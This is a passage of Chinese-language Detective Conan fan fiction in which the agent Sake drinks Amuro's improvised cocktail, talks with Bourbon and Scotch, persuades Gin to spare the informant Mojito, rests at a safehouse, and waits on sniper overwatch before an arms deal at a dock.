杯里的酒液是粉红色的,上面浮着一片柠檬,一颗樱桃沉在杯底。颜色看起来挺漂亮的,但很难想象它的味道——他亲眼看着安室透往里面加了不下八种材料,其中有三种基酒和两种气泡水,其他材料安室透是背对着他倒进去的,他没看见。 “……这是什么?”羽泽熙真问。 “特调。” “特调是什么意思?” “哈哈。”安室透轻笑,“意思就是,这个不在酒单里,是我自己即兴发挥的。” 羽泽熙真沉默地低头看着杯子里那片无辜的柠檬。柠檬什么都不知道。柠檬只是在杯子里漂着,漂得挺好看的。 希望它的味道和它的外表一样无辜。 “三田先生,”安室透歪了歪头,“您在犹豫什么呢?” 羽泽熙真伸手握住了眼前的高脚杯,凑到鼻尖闻了闻。 气味有些复杂,有糖果的甜香气,一点点果香,还有些许酒精的刺激感,但感觉上是安全的。 他不死心地又闻了一次。不行,闻不出来那几种东西到底是什么。安室透把所有材料搅得天衣无缝,成功地抹去了每一种材料的个体特征。 闭了闭眼,羽泽熙真把杯子送到嘴边。 一瞬间,他感觉到周遭的目光都落到了他身上。 包括正在面前眼睛亮晶晶地满是期待盯着他的安室透,身侧假装毫不在意但其实非常好奇的绿川光,不远处时不时瞄一眼这边的警惕的松本,还有同样坐在吧台,目光中满是兴味的雷兹。 在众人的注视中,羽泽熙真缓缓喝下一口。 朗姆酒的甘蔗香首当其冲,然后是菠萝汁的果味酸甜。 在他的舌头已经接受了“这是一杯果味甜酒”之后,金巴利的苦橙味忽然冒了出来——转瞬即逝,像是一个在甜味里躲猫猫的小孩子,从门后面探出半个头,冲他做了个鬼脸,又缩了回去。 他还没得及皱眉,杜松子的植物清香就跟着浮上来,把那一丝苦味裹住,拉回了甜味的轨道上。 草莓糖浆的味道最淡,没有抢任何风头,却给整杯酒添了一层薄薄的莓果底色。 碳酸的刺激感在最后出现,细密的气泡在舌面上轻轻炸开,带走了多余的甜腻,留下一个清爽的收尾。 啊,很好喝。 羽泽熙真把杯子放低,眨了眨眼,又喝了一口。酸甜平衡,层次分明,没有某种材料突然跳出来喧宾夺主,也没有莫名其妙的后味。 所有乱七八糟的材料,居然都被安室透调成了一个和谐的整体。 “非常好喝。”羽泽熙真毫不掩饰地夸赞道,“安室君,您是个天才。” 安室透惊讶地挑了挑眉,笑起来。 “谢谢三田先生的赏识。”他说。 33.雷兹(5)下班 凌晨两点五十分。 羽泽熙真靠在副驾驶的椅背上,看着窗外的街景发呆。座椅被他调得靠后了一点,他几乎是半躺着的。 当然,他没醉。 虽然在喝下那杯粉色调饮后,他又喝了一个多小时的酒,但他的头脑依然清醒,逻辑清晰,只是身体不太想动弹,神经兴奋度也很高。 今晚要睡不着了。 如果他和绿川光今晚没有出现在POP,这件事的走向会是什么样? 安室透依然会站在吧台后,和雷兹聊上几句,在雷兹大笑之后笑眯眯地把钞票收进口袋。 然后他会在下班后一个人走回住处——或者附近随便哪个安全屋——打开笔记本电脑,写一份报告给朗姆:雷兹扣人的原因是莫吉托在中间做了手脚,建议情报组内部处理。 莫吉托是朗姆的人,一个跟了他多年的情报官,虽说不算心腹,但也替情报组做了不少脏活累活。 这种下属不好找,朗姆不会为了无关紧要的军火商把他推出去。 所以朗姆会怎么做?他会给莫吉托打一个电话。电话内容大概是“收敛一点”和“下次别让人抓到把柄”以及“这次我来解决”。 然后他会让波本继续执行原定方案——稳住雷兹,完成最后一次交易,然后把雷兹和所有证据一起处理干净。 行动组稀里糊涂地做了别人的刀,莫吉托继续坐在自己的位置上数钞票,而所有血都溅在清酒、苏格兰和波本的手上。 但他们来了,而且听完了全程,现在知道这件事的人不止一个了。 不远处,POP酒吧的灯光灭了。 安室透走出来,转身把门锁好。他已经换下了工作时的白衬衫,穿着一件简单的深色T恤,肩上挎着一只帆布包。 锁了门,他左右看了看,很快锁定了街对面那辆亮着车灯的黑色轿车,步伐轻快地走过来。 “久等了。”他坐进后座,车内的冷气让他舒服地眯了眯眼睛。 “知道就好。”羽泽熙真没有回头。 他朝绿川光使了个眼色,绿川光点点头,发动了车子。 安室透往前挪了挪身子,两只手从后座伸过来,一只搭在副驾驶的头枕旁边,一只搭在驾驶座的头枕旁边。 “清酒,”他的声音近了很多,几乎贴着羽泽熙真的右耳,“你醉了吗?” 羽泽熙真微微偏头,侧过脸,用余光看着那张凑得过近的脸。 “你希望我醉了,还是没醉?” “当然是没醉。”安室透的语气真诚极了,“不然的话,我还要想办法把你弄上楼。” 羽泽熙真把头转回去,面无表情地看着前挡风玻璃。 “我烂醉如泥。” “……” 驾驶座的绿川光嘴角动了一下,但很给面子地没有笑出声。 “我看到你笑了,苏格兰。”安室透不满。 绿川光坦然承认:“嗯,我笑了。” “清酒。”安室透把头转回来,“关于莫吉托的事,你准备告诉琴酒吗?” “明天一早就去。”羽泽熙真回答,“一切按照前辈的意思来。” “明天?” “哦。今天天亮之后。” 现在已经到“明天”了。 琴酒知道了这件事后会怎么做? 虽然琴酒看起来像个随时会拔枪杀人的疯子,但他从不是乱来的人。作为行动组的负责人,他的每一个决定都经过了权衡。 如果这件事是在任务完成后才浮出水面的,琴酒大概会把莫吉托叫到某个会议室里,关上门,让他在朗姆和行动组的双重注视下把他吃掉的每一分钱都吐出来。 但现在是任务之前,琴酒的选择更多。他可以在不惊动莫吉托的情况下调整任务方案,可以把莫吉托叫来对质,也可以什么都不做,等任务结束后再慢慢算账。 羽泽熙真不知道琴酒会选哪个选项,但他不需要知道。 他只需要把事实原原本本地摆到琴酒面前,然后听命令行事。 至于波本会不会夹在中间很难做,那不在他的考虑范围内。 “……知道了。”安室透轻声说。 “你有意见?” “我没有意见。” “那就好。”羽泽熙真说。“你有意见也改变不了什么。” “我知道。”安室透叹了口气,“我也没有打算改变什么。我只是一个情报官,负责搜集情报和汇报情报。我的前老板手下的人正在坑害新老板手下的人——我只是觉得这件事很好笑,笑一下也不行?” “没说不让你笑。” “那我笑了。” 安室透在后座发出了一声短促的、不带任何喜悦成分的笑声。 “别吵架。”绿川光轻声开口。 “没有吵架。”另两个人异口同声。 “……我们只是在进行和平而友善的交流。”羽泽熙真瞥了安室透一眼,“对吧,安室君。” “当然。”安室透笑笑。 苏格兰已经喝了一肚子果汁了,不应该再承受两个同事的精神压力。 “对了,清酒。雷兹给我的钞票里夹了一张纸条。” 安室透低头从帆布包里摸到那沓皱巴巴的纸币,取出纸条递到前排。 “是他的联系方式。一个电话号码,还有一个电子邮箱。” 羽泽熙真接过纸条,扫了一眼。这大概是从某个笔记本上撕下来的,边缘参差,字迹粗放,用的是铅笔。 “他把联系方式给了你——或者说,给了你背后的人。”他把纸条还给安室透,“雷兹不傻。他知道你只是一个传话的。他在等你背后的人联系他,给他一个比莫吉托更公道的条件。” “对。”安室透把纸条小心翼翼地折回去,“我们可以和他商量交易的细节。” “那就看琴酒前辈的意思了。” 车厢里再次安静下来。 黑色的轿车开上了一条沿河的路,河面在左侧车窗外面铺开,水面反射着岸边路灯的光,摇摇晃晃的。 安室透大概是觉得这种安静不太舒服,转头去找开车的绿川光。 “苏格兰。” “嗯?” “你今天好沉默啊。” 绿川光目光专注地看着前方的路面。 “嗯……沉默一点不好吗?” “当然不会。”安室透声音软软的,“但是,我更希望你能多和我说说话呢。” 绿川光敛下眸子,轻轻笑了一声。 “好吧。你想聊什么?” 安室透嘴角翘了一下,把身子又往前探了探,下巴搁在手背上。 “没想到,你居然是 清酒的保镖啊。” “是‘三田涉’的保镖”绿川光纠正道。 羽泽熙真很强,不需要保镖。只有某个有钱又文弱的酒水商人需要。 “这样啊。”安室透若有所思地点了点头,“那——三田先生给你发工资吗?” 绿川光像一个配合警方调查的良好市民,老老实实地问什么答什么。 “发的。” “我们是合法的合同雇佣关系。”副驾驶闭目养神的羽泽熙真插话。 安室透挑了挑眉,他往后一靠,重新倒在了后座上,发出一声拖长了尾音的“哦——”,意味不明。 “合法的合同雇佣关系……”他重复了一遍这几个字,“那三田先生有没有考虑过,也给我一份合法的雇佣合同呢?” “你的工资太高了,雇不起。”羽泽熙真眼睛都不睁。 “诶——那我降薪呢?” 羽泽熙真睁开一只眼睛,透过后视镜看着后面那张微笑的脸。安室透也正从后视镜里看他,两个人的目光在镜子里撞了一下,谁都没有先移开。 “你会做什么?”羽泽熙真问。 安室透摸着下巴认真地想了想,随后坐直身子。 “其实,我挺会伺候人的。” “……”羽泽熙真无语,“我们暂时不需要这方面的人才。面试失败,您另谋高就吧。” “再给我一次机会嘛,三田先生。”安室透丝毫不受打击地凑过来,“除此之外,其实我还是一名侦探呢。无论是捉猫找狗,还是调查外遇——呃,调查竞品公司,我都可以做的。” “侦探啊……” 羽泽熙真想了一会儿,喃喃自语:“……好像还真可以。” “什么?”安室透没听清。 “没什么。”羽泽熙真笑了笑,“改天我找人给你拟一份合同。” “真的假的。” “真的。” 恭喜安室透得到一份不知道工作内容,不知道薪资待遇,也不知道什么时候能上岗的三无空气offer。 车子拐下了沿河路,驶入一片居民区,再往前开十分钟左右就是他们住的公寓。 “说起来,苏格兰。” 过了一会儿,安室透的声音从后座重新冒出来。 “什么?”绿川光问。 “我觉得今晚有一点可惜。” “可惜?” “我应该给那杯特调取一个名字的,”安室透撑着头,“所以我刚才一直在想,如果给它取一个名字,应该叫什么呢。朗姆加金酒加菠萝汁加金巴利加草莓糖浆加两种气泡水……这个名字太长了。” 他顿了顿。 “不如就叫‘三田’好了。” 羽泽熙真终于转过头,困惑地从椅背上侧过脸看着后面。 “为什么叫我的名字?” “因为那杯酒是为了你调的。”安室透说,“而且它喝起来甜,后劲却很大,看起来粉粉的很温和,其实里面藏了三种烈酒。” 羽泽熙真沉默了。绿川光也沉默了。车厢里安静了整整一个红灯的时间。然后羽泽熙真把身体转回去,把座椅靠背调直了一点,从后视镜里看了安室透一眼。 “不准叫这个名字。” “诶。” “不准。” 安室透在后座笑了出来。 34.雷兹(6)琴酒的决定 羽泽熙真站在一栋日式老宅的门口,朝庭院中张望。 这里随处可见绿植与造景的石头,脚下是一条碎石铺的小径。 沿着石板小径走过去,庭院一角有一池碧水,能看到池底的卵石和几片沉在水底的落叶。 景色是挺好看的。 唯一的问题是——找不到琴酒的身影。 但早上他给琴酒发消息问他在哪时,收到的回复就是这个地址。 他开了一个多小时的车才找过来,一进来直奔主屋,但屋里没人。 羽泽熙真站在碎石小径的中段,双手插在外套口袋里,金色的眼睛慢慢掠过庭院里每一个可能站着人的角落。 枫树后面,没有。大石头旁边,没有。 他甚至往屋顶看了一眼,因为有一次他在另一个安全屋找琴酒,最后发现琴酒站在屋顶上抽烟,居高临下地看着他在院子里转了三圈,愣是一声没吭。 屋顶上没有。池塘边上也没有。只有一只灰色的鸟站在池边的石头上,歪着头看了他一眼,然后扑棱棱飞走了。 ……不愧是前辈的新安全屋,隐蔽性真好。 “清酒。” 是琴酒的声音,羽泽熙真闻声转头,果断循着声音找过去。 他找到了一间茶室——正儿八经的茶室,门口有蹲踞,蹲踞旁边搁着一把竹制的勺子。 客人在进入茶室之前需要在这里洗手漱口,然后再从一个叫做“躙口”的小门跪着钻进去。躙口的尺寸比正常的门小得多,设计成需要弯腰屈膝才能通过的大小,意思是无论身份贵贱,进了茶室就是平等的。 羽泽熙真对于这种繁文缛节毫无兴趣,显然琴酒也没有。 证据是茶室的正门直接敞开着,琴酒就坐在里面,冷绿色的眸子冷冷地看过来,似乎对于某人在门口磨磨蹭蹭的行为有些许不满。 他从敞开的正门走了进去。 室内的光线比外面暗了不少,地上铺着榻榻米,墙上有一处壁龛,挂着不知所云的书法挂轴,字迹潦草得像是写字的人正在被追杀。 房间另一侧还摆着刀架,一把细长的刀架在上面,不知道有没有开刃。 琴酒盘腿坐在矮桌后面的坐垫上,嘴里含着一支没点燃的烟。他没戴礼帽,银色的长发披在薄薄的黑色高领衫上,丝丝分明。 矮桌上放着一个茶壶,几个杯子。还有一堆拆开的枪械零件,散落在绒布上,琴酒正在清理它们。 “前辈。”羽泽熙真唤道。 “坐。” 羽泽熙真走过去坐在琴酒对面的坐垫上,把腿一盘,手掌撑在膝盖上。 他动了动鼻子——他可以肯定,眼前的茶壶里装的绝对不是茶。 看了一圈,现在这间茶室里唯一被正确使用的茶道道具,大概是两人屁股底下的坐垫。 “什么事。”琴酒问。 他嘴里含着烟,声音有些含糊。 羽泽熙真开门见山: “昨晚我和波本去了POP酒吧,雷兹已经上钩了。波本让他相信他是组织另一派系的人,雷兹表示愿意踢开莫吉托,直接和波本交易。”他看着琴酒,“前辈,这次任务有问题。” 琴酒没抬头。 “说下去。” “雷兹在东南亚打拼了很多年,上游货源稳定,下游渠道成熟。之前,他和组织的几次交易都没有出过问题,这次搞出事情来,主要原因在莫吉托身上——莫吉托在交易里做手脚,一面向组织报高价,一面向雷兹压价。雷兹被他惹烦了,才扣了人。” 羽泽熙真不紧不慢地将前因后果重新梳理了一遍。 “说到底,雷兹不是主动挑衅组织。如果我们直接杀了他,想重建同等级别的供应链,成本要多少,时间要多少,前辈应该比我更清楚吧。” 琴酒拿下了嘴里的烟,放在矮桌上,继续手里的事。 “所以你不想杀他。” 对于起因是莫吉托这件事,琴酒似乎并不惊讶。 也是,毕竟在去和雷兹交涉前,琴酒就曾隐晦提醒过羽泽熙真“看着波本”。 羽泽熙真笑了一下。 “我只是觉得没必要处理雷兹,把莫吉托换掉就够了。而且对朗姆大人来说,只要军火线还在情报组的势力范围内,负责人换一个也无所谓。” “不行。”琴酒说,“雷兹必须死。” “……为什么?”羽泽熙真眨了眨眼。 “因为他绑了组织的人,坏了规矩。”琴酒淡声,“不管莫吉托做错了什么,对外人来说,雷兹是在挑衅我们。如果这样还能全身而退,哼,以后大概所有人都觉得自己可以踩我们一脚。” 规矩。 没有规矩,不成方圆。而一个没有规矩的组织,它会从内部慢慢烂掉。 虽然羽泽熙真觉得自己所在的这个地方早就烂透了,但他依然赞同琴酒的逻辑与观点。 “我明白。”他说,“但现在知道雷兹做了什么的人并不多,扣人不是什么光彩的事,他不会到处宣传。昨天他说人质是‘定金’,波本要求他把定金交给新买家——也就是我们,他也同意了。” “……” 琴酒把刚刚保养好的伯|莱|塔组装完整,举向一侧,朝着地面空开一枪。 清脆的一声。 武器正常运作,某个人形武器也是,面上平平淡淡的,但羽泽熙真知道他已经在权衡了。 “前辈,波本百分之百会把这件事告诉朗姆,我猜他现在已经汇报过了。但朗姆不一定会清理门户,下属贪有时候反而是优点,说不定这就是朗姆故意放任的结果……所以他更有可能的做法是把事情压下去,装模作样的给这条军火线换一个负责人——波本是最好的人选。换别人去,雷兹未必认。” 琴酒冷嗤了一声,把枪放在桌上。 “你觉得朗姆会把这种东西交给波本?“ “我觉得可能性很大。”羽泽熙真平静地迎上他的目光,“留着雷兹对情报组来说是持续稳定的军火供应,而仅仅是换掉莫吉托,朗姆自己也不会有什么损失,还能体现对波本的重视。” 他把视线从琴酒脸上移开,扫了一眼矮桌上的伯|莱|塔。 “反正买了那些东西,最后也是拿来给行动组用的嘛。波本现在在行动组,受我们监督,中间的流程也有操作空间。” “雷兹知道得太多了。” 琴酒拿起放在桌上的那根没点燃的烟,在指间慢慢转动。 “他知道莫吉托是谁,知道波本是谁,知道组织内部有派系分化,包括你,也在他面前露过脸。” “我的身份好像不怎么重要。”羽泽熙真耸了耸肩,“无所谓。而且如果不行动的话,到时候我不会出现在交易现场,他不会有机会再看到我。” 琴酒微微拧眉。 他比任何人都清楚清酒的价值,也比任何人都清楚清酒的身份如果暴露会带来的连锁反应,但清酒本人却在他面前说“无所谓”。 哼,波本…… 他把烟送进嘴里,拿出打火机,啪嗒一声点燃。 “既然你觉得无关紧要,”他含糊地说,“那就随你吧。” “谢谢前辈。”羽泽熙真笑道。 琴酒无言地抽着烟,把烟灰弹进旁边一只不起眼的小碟子里。 那好像也是茶具,专门用来盛点心的小碟,现在正无辜地承受着和它设计初衷完全不同的功能。 “前辈,你这安全屋哪儿来的?“羽泽熙真嘴角抽了一下。 用得也太敷衍了吧,前主人看到怕是血压都要爆表。 “贝尔摩德买的凶宅。“琴酒的声音里有一丝微妙的嫌弃,“上一任屋主吊死在屋里,发现的时候烂得像滩泥。她说这里太阴森,让我来住几天。” 羽泽熙真愣了愣:“前辈居然答应了?” 真少见,琴酒会帮这种忙? 在他的认知里,贝尔摩德用那种千娇百媚的声音说“帮我个忙”的时候,琴酒的回应通常是冷漠地让她滚远点。 “这是命令。” 命令啊……那就可以理解了。 某位先生新的备选居所。 当然,也可能是那位先生单纯地想看琴酒被迫住在鬼屋里的样子。这种事情也不是没有可能。那位先生的幽默感,如果他有的话,大概是属于很难以常理推断的类型。 “莫吉托那边,你有想法吗。”琴酒把话题拉了回来。 羽泽熙真沉吟片刻。他在来之前也想过这个问题,莫吉托是一定要处理的——他在交易里做手脚,害得组织丢了供应商的信任,惹了一系列麻烦,让不管是情报组还是行动组都白费一番工夫。 但怎么处理,尺度很重要。 “前辈,我的确有一个想法。”他说。 “说。” “我建议,不要直接动他。”羽泽熙真抬起眼,“我的意思是——我们可以把这件事的处置权交给朗姆。” “行动组概不追究。” “对。我们如果逼着朗姆对莫吉托动手,那边只会觉得没面子,觉得行动组看热闹不干活还咄咄逼人。”羽泽熙真慢慢地展开自己的思路,“毕竟这也算朗姆大人的‘家事’了,不好多插手。” 他顿了顿:“而且说实话,前辈,我一直觉得莫吉托身上还有别的东西。” “什么东西。”琴酒微微眯起眼睛。 “不确定。只是感觉。” 羽泽熙真往后一仰,两只手撑在身后,看着头顶有一道奇怪印痕的房梁。 “一个在情报组干了这么多年的情报官,怎么可能只在交易里动一次手脚?这次是他第一次被抓到,但绝对不是第一次动手。如果我们现在把他处理掉,那些藏在他身上的东西就永远挖不出来了。” “你想留着他,等他犯更大的错。”琴酒把烟从嘴里拿下来。 “是的。” 到时候说不定可以让朗姆大人栽个大跟头。 琴酒把烟掐灭在点心碟里,然后站起来,走到刀架前。 羽泽熙真的视线跟着他走过去。 刀架上那把细长的刀不知道是什么来头,太刀,或者只是一把装饰性的仿制品,从暗红的刀鞘来看像是老物件。 琴酒拿起刀,左手握住刀柄,右手握着刀鞘,轻轻拉开了一点,冷白色的刀刃从鞘口露了出来。 他侧身,瞥了羽泽熙真一眼。 轻飘飘的一眼,但羽泽熙真全身的肌肉瞬间紧绷起来——下一秒,伴随着低沉而尖啸的破空声,锋利的刀身被拔出,砍下,堪堪停在他的颈侧,不到一指的距离。 羽泽熙真微卷的发尾被刀风带起来,轻轻扫过刀刃,一两根断掉的黑发飘落在他的膝盖上。 “……” “优柔寡断。”琴酒淡声。 那刀居然真的开了刃啊。羽泽熙真眨了眨眼睛。 “也不能叫优柔寡断吧……” 琴酒用刀身重重拍了他的肩膀。 “莫吉托的事,就按你说的做。不杀他可以,不动他也可以。但有一点,清酒,你记清楚。” 羽泽熙真慢慢坐直,抬头望着琴酒。 对方也在看着他,居高临下,长发披散着,面容冷峻。 “你必须活着。”银发的男人这样说。 35.休憩 在羽泽熙真承诺了自己保证会努力活着后,琴酒收起了那把吹毛断发的刀。 羽泽熙真看着它重新安静地躺在木架上,忽然觉得有点可惜。 刀是好刀,它也有过自己的主人。那个主人大概也曾把它佩在腰间,在某个和今天一样炎热的夏天,穿着木屐走过碎石小径,用竹勺从蹲踞里舀水洗手,然后跪下来从躙口钻进茶室。 然后那个人吊死在了这间屋子的房梁上。 羽泽熙真的目光不由自主地往上飘了一下,那道奇怪的印痕还在那里。 一个人需要多大的决心才能把自己挂上去。 也许这间茶室的前主人是个比较良善的人,良善到被逼到绝路时只想到了结束自己,没有想到结束别人。 羽泽熙真不知道这是幸运还是悲哀,但琴酒大概会觉得这是软弱。 如果换了琴酒被逼到需要往房梁上挂的地步,恐怕早就拿着刀出去大杀四方了。 羽泽熙真把膝盖蜷起来,两只手臂环住小腿,下巴搁在膝盖上。 事情谈完了,是他想要的结果。 这样的话……想必波本也不会太为难。 琴酒重新在他对面坐下,拿起茶壶和杯子,倒出一杯液体。 琥珀色的,闻起来像是白兰地。茶壶的外壁上凝着一层薄薄的水珠,羽泽熙真合理怀疑琴酒在里面放了冰块。 整个晚上都在喝酒的羽泽熙真保持了安静。 昨晚的酒精已经从他的身体里消失了。虽然他的酒精代谢能力很好,但他并不想大早上再来一杯,然后沿着弯弯绕绕的山间泥路开车回去时,方向盘一歪翻进水稻田里。 组织里每年都有因为酒驾出事的蠢货,他们通常会成为其他成员茶余饭后的笑柄。 就连琴酒这种视规矩于无物的人都会避免在酒后驾车——他通常会让伏特加来开,同时禁止伏特加碰任何可能影响判断能力的东西。 放松下来之后,一阵难以忽视的饥饿感悄悄从羽泽熙真的胃部蔓延开来。 他这才想起,从昨天中午到现在,他摄入的东西几乎全部都是液体。他已经有20个小时没有正常进食了。 “前辈,”他小声说,“我饿了。” 琴酒抬眼,冷绿色的眸子扫过来。随后他拿起另一个杯子,倒出另一杯液体,啪嗒一声放在羽泽熙真面前。 羽泽熙真:“……” 白兰地是用葡萄酿的,葡萄是水果,水果是食物,所以白兰地可以当饭吃。很合理。 “前辈,我不想喝。”他把杯子往前推了推。 坏了。羽泽熙真忽然意识到一个严重的问题。这个安全屋是贝尔摩德买的凶宅,琴酒只是临时来住几天,而且琴酒的生活方式里似乎从来不包括“按时吃饭”这一项。 这里不会没有食物储备吧。 琴酒把杯子拿了回去,放在自己面前。 之后,男人站起身来,迈着几乎无声的步伐缓缓离开了茶室。 羽泽熙真叹了口气,收回目光,脸埋在膝盖里蹭了蹭。 活着是一件很简单的事吗? 对琴酒来说,也许是吧。 他伸出手指,用指腹轻轻触碰茶壶的外侧,果不其然,一片冰凉。 一把枪,一包烟,一瓶酒,一个可以单独待着的房间,琴酒的基本生存需求就全部满足了。 食物是附属品,睡眠是不得已而为之的妥协,舒适感是从来不在考虑范围内的多余项。 羽泽熙真也做得到那样的生存方式,他受过同样的训练。但他不能那样做。 过了一会儿,安静的茶室外传来了熟悉的脚步声。琴酒走进屋里,微微弯腰,把手里的东西放在矮桌上。 两个面包,一盒牛奶。 羽泽熙真抬起头,朝琴酒弯起眼睛。 “谢谢前辈。” 两个面包,两种口味。从包装上看都是从便利店买的,一个是红豆包,一个是菠萝包,保质期很新。 羽泽熙真撕开包装,不紧不慢地解决掉了菠萝包,又拆开牛奶喝掉半盒。 胃里舒服多了。 “前辈,你这里好安静啊。”他舒了一口气。 并不是说完全没有声音的意思,恰恰相反,声音很丰富:蝉鸣声,微风拂过绿植的沙沙声,碧水波澜的流动声,鸟雀跃起时的振翅声。 这里的安静就像是被雨水包裹的感觉。 对面喝着酒,拿着手机不知道在看什么的琴酒头也没抬。 “喜欢?” “喜欢。” “那换你来住。” “呃……”羽泽熙真干笑,“我倒是无所谓,波本大概不会喜欢这种地方。” 毕竟他现在还在被观察的状态,去哪儿都得带上某个不太老实的眼线先生。而那个家伙明显会更喜欢城市——或者说,信息流通的地方,而不是这种避世而居的偏远乡下。 琴酒朝他投来一个极度复杂的眼神,并发出一声带着明显嘲讽意味的冷笑。 羽泽熙真没能读懂,有些困惑地歪头。 “那是什么意思?” 琴酒没有回答。他把目光收回去,拇指在屏幕上划了一下,继续看刚才没看完的东西。 可能是新闻,也可能是任务简报之类的。作为一名职业杀手,观察时局与了解任务目标和强身健体有着同等重要的地位。 羽泽熙真耸了耸肩,低头继续去对付剩下的半个红豆包。 琴酒不想说的事,拿枪指着他的头他也不会说,羽泽熙真早就习惯了。 他把琴酒的情绪归结于琴酒个人对波本的不满,不再去想它。 太阳渐渐升高,外面的蝉鸣也愈发响亮了。刚才还只是零星的几声,现在变成了一片持续不断的嘶鸣。 羽泽熙真放下手中的包装袋,正准备说点什么。 “清酒,”琴酒突然开口了,“朝外面的蝉开一枪。” 羽泽熙真想也没想,右手迅速从怀里摸出□□,转身,瞄准,朝着门外的一棵树扣下扳机。 “砰——” 枪声炸响,蝉鸣齐刷刷地静了一瞬。 几秒之后,最大胆的那只蝉试探性地重新发出了声音——一声短促的鸣叫,然后更多的蝉回应了它。 窸窸窣窣的,它们换了地方重新开始吵嚷。 “没打中。”羽泽熙真把枪放在矮桌上,枪口朝外。 “嗯。” 羽泽熙真把手从枪上收回来,交叠放在膝盖上。想了想,他还是开口问了。 “为什么?” “因为它们太吵了。” “……” 前辈这个人啊。 羽泽熙真闭了嘴,安静地喝掉剩下的一点点牛奶,满足地眯了眯眼睛。 而对面的琴酒似乎终于喝够了酒。他把手机屏幕按灭,放进口袋里,然后站起身来。 “走。”他说。 羽泽熙真跟着站起来:“去哪儿?” 他跟着琴酒走出茶室,顺着庭院中的碎石小路走,一路走到了正中的主宅。 主宅打扫得很干净,面积比茶室大得多,他们走了有 一会儿。穿过走廊,琴酒拉开一扇门,站在门边抬抬下巴,示意羽泽熙真进去。 羽泽熙真不明所以地走进去,左右看了看。 这里好像是卧室。琴酒昨晚在这里休息过——他总不能真睡在茶室里——墙边摆着一套卷好的被褥,可能是有人懒得往墙边的壁橱里收。 ……但来这里是什么意思? “把被子铺好,睡觉。”琴酒言简意赅。 羽泽熙真疑惑地回头看他:“你要睡觉?” 被子而已,不能自己铺吗? 琴酒被他忽高忽低的理解能力烦到了,啧了一声。 “我说得是你,清酒。”他说,“你的状态很差,感觉不到吗?在这里睡够至少十个小时,确定完全没问题了再走。” “……喔。” 羽泽熙真放弃反驳,老老实实地走到壁橱前,跪下来,拉开推拉门。 壁橱里面叠放着几套寝具,他把最上面的一套搬出来,抱在怀里的时候闻到了一股清香的皂角味。 贝尔摩德虽然是个喜欢看热闹的女明星,但不会在这种细节上马虎。所有寝具都被换成了新的,洗好晒好,用干净的布带捆着,拿出来就能用。 鞋袜早在玄关处脱掉了。羽泽熙真把被褥铺得整整齐齐,爬上去盘腿坐好,抬头看琴酒。 “这样可以了吗?” “把衣服脱了。”琴酒说。 羽泽熙真愣了愣,随后照做。他脱下外套放在一边,解开没有枪的枪套,把最里面的长袖也自下而上脱去。 他把上衣放在被褥旁边,手指摸到腰带的扣子。 “可以了。”琴酒叫停了他,走近两步。 羽泽熙真停下手上的动作。 他坐在被褥上,上身暴露在从窗外透进来的柔和光线里。 水滴状的透明宝石坠在他的锁骨下方,轻轻晃动着。他的皮肤偏白,但不算苍白,肌肉线条流畅,薄薄一层却富有力量感。 问题在于,你无法从他身上找到任何一处细微的伤痕,包括可能存在的旧伤。 羽泽熙真不喜欢这样被盯着的感觉,但面前的人是琴酒。他偏过头去,微微敛眸,手指在身侧收紧,又放松,等待着琴酒绕着他走过一周。 “可以了。”琴酒说。 羽泽熙真垂着眼睛,把里衣拿起来套上。 “研究所那边新来了一个研究员,那位先生已经给了她代号。”琴酒看着他的动作,“雪莉酒。下次去那里,你可以直接找她。” “……” 羽泽熙真没有回应他。 下次?下次是很久以后的事情了。 琴酒迈着步子往外走,那抹银发快要消失在羽泽熙真的视野范围里时,他忽然想起来什么似的,转过头。 “放心睡,清酒。”他说,“这里是绝对安全的。” 琴酒离开了。 羽泽熙真慢慢躺下去,把被子拉到肩膀,蜷起膝盖。他的右手习惯性地伸到枕头下面,摸到了□□冰凉的握把。 那是他在铺床时就放进去的,谁都没看到,包括琴酒。 他的手指沿着关闭的保险轻轻滑过。随后收回手,放到被子里面。 房间里没有窗帘,障子纸的遮光效果也一般,随着时间的推移,外面会越来越亮。 外面的蝉还在叫,隔着几道纸门,声音遥远而模糊。 但没关系。 羽泽熙真闭上眼睛,呼吸渐渐平稳下来。 ——在接下来的十个小时里,这间屋子会是整个世界最安全的地方。 36.雷兹(7)交易现场 交易当天,码头五百米外的废弃仓库,四楼。 “苏格兰。” 羽泽熙真叫了一声,没人回应。 他挑了挑眉,拎着印着便利店logo的袋子,继续往楼层伸出的房间走。 绿川光站在窗前,聚精会神地盯着狙击枪的瞄准镜。狙击枪架在一个便携式两脚架上,枪管伸出去一小截,用几条灰扑扑的布条做了伪装。 羽泽熙真悄无声息地走过去,从袋子里摸出一瓶冰凉的矿泉水,握住瓶身,用瓶子的侧面轻轻贴上了绿川光的脸颊。 今天天气很好,晴空万里,是晚夏时难得的烈阳天。 废弃的仓库里当然没有空调,从中午蹲到现在,绿川光早就热得满身汗了,连头发都湿哒哒的。 他被突然的凉意冰得一个激灵,往后缩了下,随后转过头,朝羽泽熙真无奈地弯弯嘴角。 “……谢谢。” 他接过水,拧开克制地喝了一小口,又拧好盖子放在两人中间的地板上。 “还有多久?”他问。 “半小时。” 羽泽熙真从袋子里取出另一瓶常温的矿泉水,拧开盖子,送到嘴边喝了小半瓶。 他把放在窗台上的黑色望远镜捞起来,横在眼前,镜头里出现了码头的全貌。 现在是下午六点,几近黄昏,橘金色的海面波光粼粼。 几只海鸥蹲在集装箱的边缘,偶尔有一只展开翅膀懒洋洋地飞起来,在码头上空慢悠悠绕一圈,落到水泥地上啄几口不知道从哪来的食物残渣。 交易还没开始,他们俩是提前过来观察现场的。 雷兹选定的交易地点就在这个码头。这里曾经是东京湾外围的一个小型货运码头,后来周边工业区的重新规划,大部分货物都转去了更远的深水港,这里就渐渐荒废了。 锈迹斑斑的集装箱乱七八糟地堆在空地上,有的摞了两层,有的孤零零地歪在一边,生锈的塔吊在码头边缘矗立着,已经多年没有启动过。 而他们现在所在的地方是一个绝佳制高点,苏格兰选的,琴酒也点了头。 “波本他们已经到了。”绿川光重新把眼睛贴上瞄准镜。 “嗯。” 羽泽熙真点点头。视野里的码头一片宁静,但这份宁静不会持续太久了。 按照计划,交易时间定在下午六点半。 安室透会以“新买家代表”的身份出现在码头上,带着两个从行动组临时抽调的外围成员。 羽泽熙真不知道他们的名字,只知道他们一个负责提钱箱,一个负责验货。他们的共同点在于很老实,而且很能打。 雷兹会从海路过来,带着他们提前联系商量好数量的货物。 至于他和苏格兰会待在这里,单纯只是避免出现意料之外的情况。 有后手总比没有好,不是吗?组织的人从来不会只依赖一个方案。 时间一分一秒地过去。 